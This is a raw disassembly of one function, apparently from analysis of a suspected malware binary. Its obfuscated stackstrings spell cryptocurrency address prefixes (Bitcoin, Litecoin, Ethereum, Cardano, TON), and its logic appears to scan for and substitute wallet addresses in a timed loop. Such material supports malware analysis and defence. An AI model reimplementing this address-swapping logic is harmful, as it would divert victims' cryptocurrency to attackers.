Function at 0x4e4700
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea r12, [rsp - 0x688]
cmp r12, qword [r14 + 0x10]
jbe 0x4e61ca
sub rsp, 0x708
mov qword [rsp + 0x700], rbp
lea rbp, [rsp + 0x700]
mov eax, 1
jmp 0x4e473a
setne al
movzx edx, byte [rsp + 0x6c]
and eax, edx
test al, al
je 0x4e476b
mov byte [rsp + 0x6c], al
call fcn.004e0000
test rax, rax
je 0x4e4730
mov qword [rsp + 0xa8], rax
mov eax, 0x77359400
call fcn.0045ec20
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
jmp 0x4e4730
nop
nop
mov rbx, qword [0x005f5678]
lea rax, [0x0053bad0]
xor ecx, ecx
nop dword [rax]
call fcn.004e29e0
mov qword [rsp + 0x680], rax
mov qword [rsp + 0x6e8], 0
movups xmmword [rsp + 0x6f0], xmm15
jmp 0x4e47ac
mov rax, qword [rsp + 0x680]
lea rbx, [rsp + 0x6e8]
call fcn.00406240
nop dword [rax]
test al, al
je 0x4e4ada
mov rbx, qword [rsp + 0x6e8]
mov rcx, qword [rsp + 0x6f0]
mov qword [rsp + 0x6e8], 0
movups xmmword [rsp + 0x6f0], xmm15
xor eax, eax
call fcn.0044cb00
call fcn.0047a1a0
mov qword [rsp + 0x6b0], rax
mov qword [rsp + 0xb0], rbx
cmp rbx, 0x59
jg 0x4e4946
cmp rbx, 0x26
jg 0x4e4874
cmp rbx, 0x19
jle 0x4e47a4
mov rdx, qword [0x005f5900]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, rax
mov r10, rbx
mov r11, rsi
mov rax, rdx
xor ebx, ebx
call fcn.0048f360
test rax, rax
je 0x4e54cf
mov rdx, qword [0x005eb810]
mov r12, qword [0x005eb818]
mov qword [rsp + 0xf8], r12
xor eax, eax
jmp 0x4e60c9
mov word [rsp + 0x6f], 0
mov word [rsp + 0x6f], 0x7830
mov dword [rsp + 0x71], 0
mov dword [rsp + 0x71], 0x71316362
mov dword [rsp + 0x75], 0
mov byte [rsp + 0x79], 0
mov dword [rsp + 0x75], 0x3163746c
mov byte [rsp + 0x79], 0x71
mov word [rsp + 0x6d], 0
mov word [rsp + 0x6d], 0x5155
mov rdx, qword [0x005f5928]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, rax
mov r10, rbx
mov r11, rsi
mov rax, rdx
xor ebx, ebx
call fcn.0048f360
test rax, rax
je 0x4e4e0a
mov rdx, qword [0x005eb8b0]
mov qword [rsp + 0x6d0], rdx
mov rsi, qword [0x005eb8b8]
mov qword [rsp + 0x120], rsi
lea rax, [rsp + 0x5a0]
lea rbx, [rsp + 0x6f]
mov ecx, 2
call fcn.0044cb00
mov qword [rsp + 0x6a0], rax
mov qword [rsp + 0x98], rbx
mov rdx, qword [rsp + 0x6d0]
xor ecx, ecx
jmp 0x4e4cf1
mov dword [rsp + 0x7a], 0
mov word [rsp + 0x7e], 0
mov dword [rsp + 0x7a], 0x72646461
mov word [rsp + 0x7e], 0x7131
mov rdx, qword [0x005f5960]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, rax
mov r10, rbx
mov r11, rsi
mov rax, rdx
xor ebx, ebx
call fcn.0048f360
test rax, rax
je 0x4e49b5
mov rdx, qword [0x005eb930]
mov r12, qword [0x005eb938]
mov qword [rsp + 0x130], r12
xor eax, eax
jmp 0x4e4bd4
mov rax, qword [0x005f5910]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ebx, ebx
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, qword [rsp + 0x6b0]
mov r10, qword [rsp + 0xb0]
mov r11, rsi
call fcn.0048f360
test rax, rax
je 0x4e47a4
mov rdx, qword [0x005eb850]
mov qword [rsp + 0x6d8], rdx
mov rsi, qword [0x005eb858]
mov qword [rsp + 0x128], rsi
lea rax, [rsp + 0x620]
lea rbx, [rsp + 0x7a]
mov ecx, 6
call fcn.0044cb00
mov qword [rsp + 0x6a8], rax
mov qword [rsp + 0xa0], rbx
mov rdx, qword [rsp + 0x6d8]
xor ecx, ecx
jmp 0x4e4b14
mov rdx, qword [rsp + 0x138]
mov rsi, qword [rsp + 0x128]
nop dword [rax + rax]
cmp rdx, rsi
jl 0x4e47a4
lea rax, [rsp + 0x5c0]
lea rbx, [rsp + 0x7a]
mov ecx, 6
nop dword [rax + rax]
call fcn.0044cb00
mov rcx, qword [0x005eb850]
mov rdi, qword [0x005eb858]
mov rsi, qword [0x005eb860]
mov r8, rax
mov r9, rbx
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
nop dword [rax]
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.004e02a0
jmp 0x4e47a4
mov rbp, qword [rsp + 0x700]
add rsp, 0x708
ret
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rsi, qword [rsp + 0x138]
inc rsi
mov rax, qword [rsp + 0x6a8]
mov rbx, qword [rsp + 0xa0]
mov rcx, rsi
mov rsi, qword [rsp + 0x128]
nop dword [rax]
cmp rcx, rsi
jge 0x4e4a63
mov qword [rsp + 0x138], rcx
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x5e0]
call fcn.0044cb00
mov rcx, qword [rsp + 0xa0]
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x600]
mov rbx, qword [rsp + 0x6a8]
call fcn.0044c760
mov rcx, qword [rsp + 0xb0]
nop dword [rax + rax]
cmp rbx, rcx
jne 0x4e4aea
mov rbx, rax
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
nop dword [rax]
test al, al
jne 0x4e4a48
mov rcx, qword [rsp + 0xb0]
jmp 0x4e4aea
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rax, qword [rsp + 0x138]
inc rax
mov r12, qword [rsp + 0x130]
cmp rax, r12
jge 0x4e4c69
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x640]
nop dword [rax]
call fcn.0044cb00
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x660]
lea rbx, [0x00539b50]
nop
call fcn.0044c760
mov r10, qword [rsp + 0xb0]
cmp rbx, r10
jne 0x4e4bb5
mov rbx, rax
mov rcx, r10
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
test al, al
jne 0x4e4c56
mov r10, qword [rsp + 0xb0]
jmp 0x4e4bb5
mov rdx, qword [rsp + 0x138]
mov r12, qword [rsp + 0x130]
cmp rdx, r12
jl 0x4e49b5
mov rcx, qword [0x005eb930]
mov rdi, qword [0x005eb938]
mov rsi, qword [0x005eb940]
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
lea r8, [0x00539b50]
mov r9d, 1
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
nop
call fcn.004e02a0
jmp 0x4e49b5
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rcx, qword [rsp + 0x138]
inc rcx
mov rax, qword [rsp + 0x6a0]
mov rbx, qword [rsp + 0x98]
mov r12, qword [rsp + 0x120]
nop dword [rax]
cmp rcx, r12
jge 0x4e4da4
mov qword [rsp + 0x138], rcx
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x560]
call fcn.0044cb00
mov rcx, qword [rsp + 0x98]
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x580]
mov rbx, qword [rsp + 0x6a0]
call fcn.0044c760
mov r10, qword [rsp + 0xb0]
nop dword [rax + rax]
cmp rbx, r10
jne 0x4e4cca
mov rbx, rax
mov rcx, r10
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
nop dword [rax]
test al, al
jne 0x4e4d91
mov r10, qword [rsp + 0xb0]
jmp 0x4e4cca
mov rdx, qword [rsp + 0x138]
mov r12, qword [rsp + 0x120]
cmp rdx, r12
jl 0x4e4e0a
lea rax, [rsp + 0x540]
lea rbx, [rsp + 0x6f]
mov ecx, 2
call fcn.0044cb00
mov rcx, qword [0x005eb8b0]
mov rdi, qword [0x005eb8b8]
mov rsi, qword [0x005eb8c0]
mov r8, rax
mov r9, rbx
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.004e02a0
mov rax, qword [0x005f58f0]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ebx, ebx
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, qword [rsp + 0x6b0]
mov r10, qword [rsp + 0xb0]
mov r11, rsi
nop dword [rax + rax]
call fcn.0048f360
test rax, rax
je 0x4e4fd5
mov rdx, qword [0x005eb7d0]
mov qword [rsp + 0x6c8], rdx
mov rsi, qword [0x005eb7d8]
mov qword [rsp + 0x118], rsi
lea rax, [rsp + 0x520]
lea rbx, [rsp + 0x71]
mov ecx, 4
nop
call fcn.0044cb00
mov qword [rsp + 0x698], rax
mov qword [rsp + 0x90], rbx
mov rdx, qword [rsp + 0x6c8]
xor ecx, ecx
nop
jmp 0x4e4ec9
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rcx, qword [rsp + 0x138]
inc rcx
mov rax, qword [rsp + 0x698]
mov rbx, qword [rsp + 0x90]
mov r12, qword [rsp + 0x118]
cmp rcx, r12
jge 0x4e4f6d
mov qword [rsp + 0x138], rcx
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x4e0]
call fcn.0044cb00
mov rcx, qword [rsp + 0x90]
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x500]
mov rbx, qword [rsp + 0x698]
nop dword [rax]
call fcn.0044c760
mov r10, qword [rsp + 0xb0]
cmp rbx, r10
jne 0x4e4ea2
mov rbx, rax
mov rcx, r10
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
test al, al
jne 0x4e4f5a
mov r10, qword [rsp + 0xb0]
jmp 0x4e4ea2
mov rdx, qword [rsp + 0x138]
mov r12, qword [rsp + 0x118]
cmp rdx, r12
jl 0x4e4fd5
lea rax, [rsp + 0x4c0]
lea rbx, [rsp + 0x71]
mov ecx, 4
call fcn.0044cb00
mov rcx, qword [0x005eb7d0]
mov rdi, qword [0x005eb7d8]
mov rsi, qword [0x005eb7e0]
mov r8, rax
mov r9, rbx
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
nop
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.004e02a0
mov rax, qword [0x005f5930]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ebx, ebx
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, qword [rsp + 0x6b0]
mov r10, qword [rsp + 0xb0]
mov r11, rsi
call fcn.0048f360
test rax, rax
je 0x4e5196
mov rdx, qword [0x005eb8d0]
mov qword [rsp + 0x6c0], rdx
mov rsi, qword [0x005eb8d8]
mov qword [rsp + 0x110], rsi
lea rax, [rsp + 0x4a0]
lea rbx, [rsp + 0x75]
mov ecx, 5
call fcn.0044cb00
mov qword [rsp + 0x690], rax
mov qword [rsp + 0x88], rbx
mov rdx, qword [rsp + 0x6c0]
xor ecx, ecx
jmp 0x4e508c
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rcx, qword [rsp + 0x138]
inc rcx
mov rax, qword [rsp + 0x690]
mov rbx, qword [rsp + 0x88]
mov r12, qword [rsp + 0x110]
cmp rcx, r12
jge 0x4e5130
mov qword [rsp + 0x138], rcx
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x460]
nop dword [rax]
call fcn.0044cb00
mov rcx, qword [rsp + 0x88]
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x480]
mov rbx, qword [rsp + 0x690]
call fcn.0044c760
mov r10, qword [rsp + 0xb0]
cmp rbx, r10
jne 0x4e5065
mov rbx, rax
mov rcx, r10
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
test al, al
jne 0x4e511d
mov r10, qword [rsp + 0xb0]
jmp 0x4e5065
mov rdx, qword [rsp + 0x138]
mov r12, qword [rsp + 0x110]
cmp rdx, r12
jl 0x4e5196
lea rax, [rsp + 0x440]
lea rbx, [rsp + 0x75]
mov ecx, 5
call fcn.0044cb00
mov rcx, qword [0x005eb8d0]
mov rdi, qword [0x005eb8d8]
mov rsi, qword [0x005eb8e0]
mov r8, rax
mov r9, rbx
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.004e02a0
mov rax, qword [0x005f5958]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ebx, ebx
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, qword [rsp + 0x6b0]
mov r10, qword [rsp + 0xb0]
mov r11, rsi
call fcn.0048f360
test rax, rax
je 0x4e51ee
mov rdx, qword [0x005eb990]
mov r12, qword [0x005eb998]
mov qword [rsp + 0x108], r12
xor eax, eax
jmp 0x4e53e0
mov rax, qword [0x005f5948]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ebx, ebx
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, qword [rsp + 0x6b0]
mov r10, qword [rsp + 0xb0]
mov r11, rsi
nop
call fcn.0048f360
test rax, rax
je 0x4e47a4
mov rdx, qword [0x005eb950]
mov qword [rsp + 0x6b8], rdx
mov rsi, qword [0x005eb958]
mov qword [rsp + 0x100], rsi
lea rax, [rsp + 0x3e0]
lea rbx, [rsp + 0x6d]
mov ecx, 2
nop
call fcn.0044cb00
mov qword [rsp + 0x688], rax
mov qword [rsp + 0x80], rbx
mov rdx, qword [rsp + 0x6b8]
xor ecx, ecx
nop
jmp 0x4e52ac
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rsi, qword [rsp + 0x138]
inc rsi
mov rax, qword [rsp + 0x688]
mov rbx, qword [rsp + 0x80]
mov rcx, rsi
mov rsi, qword [rsp + 0x100]
cmp rcx, rsi
jge 0x4e534d
mov qword [rsp + 0x138], rcx
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x3a0]
nop dword [rax]
call fcn.0044cb00
mov rcx, qword [rsp + 0x80]
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x3c0]
mov rbx, qword [rsp + 0x688]
call fcn.0044c760
mov rcx, qword [rsp + 0xb0]
cmp rbx, rcx
jne 0x4e5282
mov rbx, rax
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
test al, al
jne 0x4e533a
mov rcx, qword [rsp + 0xb0]
jmp 0x4e5282
mov rdx, qword [rsp + 0x138]
mov rsi, qword [rsp + 0x100]
cmp rdx, rsi
jl 0x4e47a4
lea rax, [rsp + 0x380]
lea rbx, [rsp + 0x6d]
mov ecx, 2
call fcn.0044cb00
mov rcx, qword [0x005eb950]
mov rdi, qword [0x005eb958]
mov rsi, qword [0x005eb960]
mov r8, rax
mov r9, rbx
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.004e02a0
jmp 0x4e47a4
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rax, qword [rsp + 0x138]
inc rax
mov r12, qword [rsp + 0x108]
nop dword [rax + rax]
cmp rax, r12
jge 0x4e5470
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x400]
call fcn.0044cb00
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x420]
lea rbx, [0x00510d04]
call fcn.0044c760
mov r10, qword [rsp + 0xb0]
cmp rbx, r10
jne 0x4e53bc
mov rbx, rax
mov rcx, r10
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
test al, al
jne 0x4e545d
mov r10, qword [rsp + 0xb0]
jmp 0x4e53bc
mov rdx, qword [rsp + 0x138]
mov r12, qword [rsp + 0x108]
cmp rdx, r12
jl 0x4e51ee
mov rcx, qword [0x005eb990]
mov rdi, qword [0x005eb998]
mov rsi, qword [0x005eb9a0]
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
lea r8, [0x00510d04]
mov r9d, 1
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.004e02a0
jmp 0x4e51ee
mov rax, qword [0x005f5908]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ebx, ebx
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, qword [rsp + 0x6b0]
mov r10, qword [rsp + 0xb0]
mov r11, rsi
call fcn.0048f360
test rax, rax
je 0x4e5527
mov rdx, qword [0x005eb830]
mov r12, qword [0x005eb838]
mov qword [rsp + 0xf0], r12
xor eax, eax
jmp 0x4e5fa9
mov rax, qword [0x005f58f8]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ebx, ebx
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, qword [rsp + 0x6b0]
mov r10, qword [rsp + 0xb0]
mov r11, rsi
call fcn.0048f360
nop dword [rax]
test rax, rax
je 0x4e5585
mov rdx, qword [0x005eb7f0]
mov r12, qword [0x005eb7f8]
mov qword [rsp + 0xe8], r12
xor eax, eax
nop dword [rax]
jmp 0x4e5e89
mov rax, qword [0x005f5920]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ebx, ebx
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, qword [rsp + 0x6b0]
mov r10, qword [rsp + 0xb0]
mov r11, rsi
call fcn.0048f360
nop dword [rax + rax]
test rax, rax
je 0x4e55e5
mov rdx, qword [0x005eb890]
mov r12, qword [0x005eb898]
mov qword [rsp + 0xe0], r12
xor eax, eax
nop dword [rax]
jmp 0x4e5d69
mov rax, qword [0x005f5918]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ebx, ebx
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, qword [rsp + 0x6b0]
mov r10, qword [rsp + 0xb0]
mov r11, rsi
call fcn.0048f360
nop dword [rax + rax]
test rax, rax
je 0x4e5645
mov rdx, qword [0x005eb870]
mov r12, qword [0x005eb878]
mov qword [rsp + 0xd8], r12
xor eax, eax
nop dword [rax]
jmp 0x4e5c49
mov rax, qword [0x005f5938]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ebx, ebx
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, qword [rsp + 0x6b0]
mov r10, qword [rsp + 0xb0]
mov r11, rsi
call fcn.0048f360
nop dword [rax + rax]
test rax, rax
je 0x4e56a5
mov rdx, qword [0x005eb8f0]
mov r12, qword [0x005eb8f8]
mov qword [rsp + 0xd0], r12
xor eax, eax
nop dword [rax]
jmp 0x4e5b29
mov rax, qword [0x005f5940]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ebx, ebx
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, qword [rsp + 0x6b0]
mov r10, qword [rsp + 0xb0]
mov r11, rsi
call fcn.0048f360
nop dword [rax + rax]
test rax, rax
je 0x4e5705
mov rdx, qword [0x005eb910]
mov r12, qword [0x005eb918]
mov qword [rsp + 0xc8], r12
xor eax, eax
nop dword [rax]
jmp 0x4e5a09
mov rax, qword [0x005f5968]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ebx, ebx
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, qword [rsp + 0x6b0]
mov r10, qword [rsp + 0xb0]
mov r11, rsi
call fcn.0048f360
nop dword [rax + rax]
test rax, rax
je 0x4e5765
mov rdx, qword [0x005eb9b0]
mov r12, qword [0x005eb9b8]
mov qword [rsp + 0xc0], r12
xor eax, eax
nop dword [rax]
jmp 0x4e58ed
mov rax, qword [0x005f5950]
movups xmmword [rsp], xmm15
movups xmmword [rsp + 0x10], xmm15
xor ebx, ebx
xor ecx, ecx
mov rdi, rcx
xor esi, esi
mov r8, rsi
mov r9, qword [rsp + 0x6b0]
mov r10, qword [rsp + 0xb0]
mov r11, rsi
call fcn.0048f360
nop dword [rax + rax]
test rax, rax
je 0x4e47a4
mov rdx, qword [0x005eb970]
mov r10, qword [0x005eb978]
mov qword [rsp + 0xb8], r10
xor eax, eax
jmp 0x4e57e2
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rax, qword [rsp + 0x138]
inc rax
mov r10, qword [rsp + 0xb8]
cmp rax, r10
jge 0x4e586f
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x140]
call fcn.0044cb00
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x160]
lea rbx, [0x00510d09]
call fcn.0044c760
mov rcx, qword [rsp + 0xb0]
cmp rbx, rcx
jne 0x4e57c3
mov rbx, rax
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
test al, al
jne 0x4e585c
mov rcx, qword [rsp + 0xb0]
jmp 0x4e57c3
mov rdx, qword [rsp + 0x138]
mov r10, qword [rsp + 0xb8]
cmp rdx, r10
jl 0x4e47a4
mov rcx, qword [0x005eb970]
mov rdi, qword [0x005eb978]
mov rsi, qword [0x005eb980]
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
lea r8, [0x00510d09]
mov r9d, 1
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.004e02a0
jmp 0x4e47a4
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rax, qword [rsp + 0x138]
inc rax
mov r12, qword [rsp + 0xc0]
cmp rax, r12
jge 0x4e5983
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x180]
call fcn.0044cb00
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x1a0]
lea rbx, [0x00510d12]
call fcn.0044c760
mov r10, qword [rsp + 0xb0]
cmp rbx, r10
jne 0x4e58ce
mov rbx, rax
mov rcx, r10
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
test al, al
jne 0x4e596a
mov r10, qword [rsp + 0xb0]
jmp 0x4e58ce
mov rdx, qword [rsp + 0x138]
mov r12, qword [rsp + 0xc0]
nop word [rax + rax]
cmp rdx, r12
jl 0x4e5765
mov rcx, qword [0x005eb9b0]
mov rdi, qword [0x005eb9b8]
mov rsi, qword [0x005eb9c0]
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
lea r8, [0x00510d12]
mov r9d, 1
nop dword [rax + rax]
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
nop dword [rax]
call fcn.004e02a0
jmp 0x4e5765
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rax, qword [rsp + 0x138]
inc rax
mov r12, qword [rsp + 0xc8]
cmp rax, r12
jge 0x4e5aa3
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x1c0]
call fcn.0044cb00
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x1e0]
lea rbx, [0x00510d06]
call fcn.0044c760
mov r10, qword [rsp + 0xb0]
nop dword [rax]
cmp rbx, r10
jne 0x4e59ea
mov rbx, rax
mov rcx, r10
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
test al, al
jne 0x4e5a89
mov r10, qword [rsp + 0xb0]
jmp 0x4e59ea
mov rdx, qword [rsp + 0x138]
mov r12, qword [rsp + 0xc8]
nop dword [rax]
cmp rdx, r12
jl 0x4e5705
mov rcx, qword [0x005eb910]
mov rdi, qword [0x005eb918]
mov rsi, qword [0x005eb920]
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
lea r8, [0x00510d06]
mov r9d, 1
nop dword [rax + rax]
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
nop dword [rax]
call fcn.004e02a0
jmp 0x4e5705
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rax, qword [rsp + 0x138]
inc rax
mov r12, qword [rsp + 0xd0]
cmp rax, r12
jge 0x4e5bc3
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x200]
call fcn.0044cb00
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x220]
lea rbx, [0x00510d05]
call fcn.0044c760
mov r10, qword [rsp + 0xb0]
nop dword [rax]
cmp rbx, r10
jne 0x4e5b0a
mov rbx, rax
mov rcx, r10
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
test al, al
jne 0x4e5ba9
mov r10, qword [rsp + 0xb0]
jmp 0x4e5b0a
mov rdx, qword [rsp + 0x138]
mov r12, qword [rsp + 0xd0]
nop dword [rax]
cmp rdx, r12
jl 0x4e56a5
mov rcx, qword [0x005eb8f0]
mov rdi, qword [0x005eb8f8]
mov rsi, qword [0x005eb900]
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
lea r8, [0x00510d05]
mov r9d, 1
nop dword [rax + rax]
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
nop dword [rax]
call fcn.004e02a0
jmp 0x4e56a5
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rax, qword [rsp + 0x138]
inc rax
mov r12, qword [rsp + 0xd8]
cmp rax, r12
jge 0x4e5ce3
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x240]
call fcn.0044cb00
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x260]
lea rbx, [0x00539bf8]
call fcn.0044c760
mov r10, qword [rsp + 0xb0]
nop dword [rax]
cmp rbx, r10
jne 0x4e5c2a
mov rbx, rax
mov rcx, r10
mov rax, qword [rsp + 0x6b0]
call fcn.00402b40
test al, al
jne 0x4e5cc9
mov r10, qword [rsp + 0xb0]
jmp 0x4e5c2a
mov rdx, qword [rsp + 0x138]
mov r12, qword [rsp + 0xd8]
nop dword [rax]
cmp rdx, r12
jl 0x4e5645
mov rcx, qword [0x005eb870]
mov rdi, qword [0x005eb878]
mov rsi, qword [0x005eb880]
mov rax, qword [rsp + 0x6b0]
mov rbx, qword [rsp + 0xb0]
lea r8, [0x00539bf8]
mov r9d, 1
nop dword [rax + rax]
call fcn.004e3f00
mov rcx, rbx
mov rbx, rax
xor eax, eax
call fcn.0044cd00
mov rdi, rcx
mov rcx, rbx
mov rbx, rax
xor eax, eax
nop dword [rax]
call fcn.004e02a0
jmp 0x4e5645
mov rdx, qword [rsp + 0x6e0]
add rdx, 0x18
mov rax, qword [rsp + 0x138]
inc rax
mov r12, qword [rsp + 0xe0]
cmp rax, r12
jge 0x4e5e03
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x6e0], rdx
mov rbx, qword [rdx]
mov rcx, qword [rdx + 8]
lea rax, [rsp + 0x280]
call fcn.0044cb00
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x2a0]
lea rbx, [0x00510d03]
call fcn.0044c760
mov r10, qword [rsp + 0xb0]
